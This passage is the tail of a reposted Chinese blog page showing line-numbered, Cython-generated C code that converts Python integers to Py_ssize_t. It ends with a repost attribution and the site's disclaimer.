  7159. break;
  7160. case -3:
  7161. if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) {
  7162. return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0]));
  7163. }
  7164. break;
  7165. case 4:
  7166. if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) {
  7167. return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0]));
  7168. }
  7169. break;
  7170. case -4:
  7171. if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) {
  7172. return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0]));
  7173. }
  7174. break;
  7175. }
  7176. }
  7177. #endif
  7178. return PyLong_AsSsize_t(b);
  7179. }
  7180. x = PyNumber_Index(b);
  7181. if (!x) return -1;
  7182. ival = PyInt_AsSsize_t(x);
  7183. Py_DECREF(x);
  7184. return ival;
  7185. }
  7186. static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) {
  7187. return PyInt_FromSize_t(ival);
  7188. }
  7189. #endif /* Py_PYTHON_H */

转载于:https://www.cnblogs.com/KevinGeorge/p/9762387.html

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/木道寻08/article/detail/748317
推荐阅读
相关标签
  

闽ICP备14008679号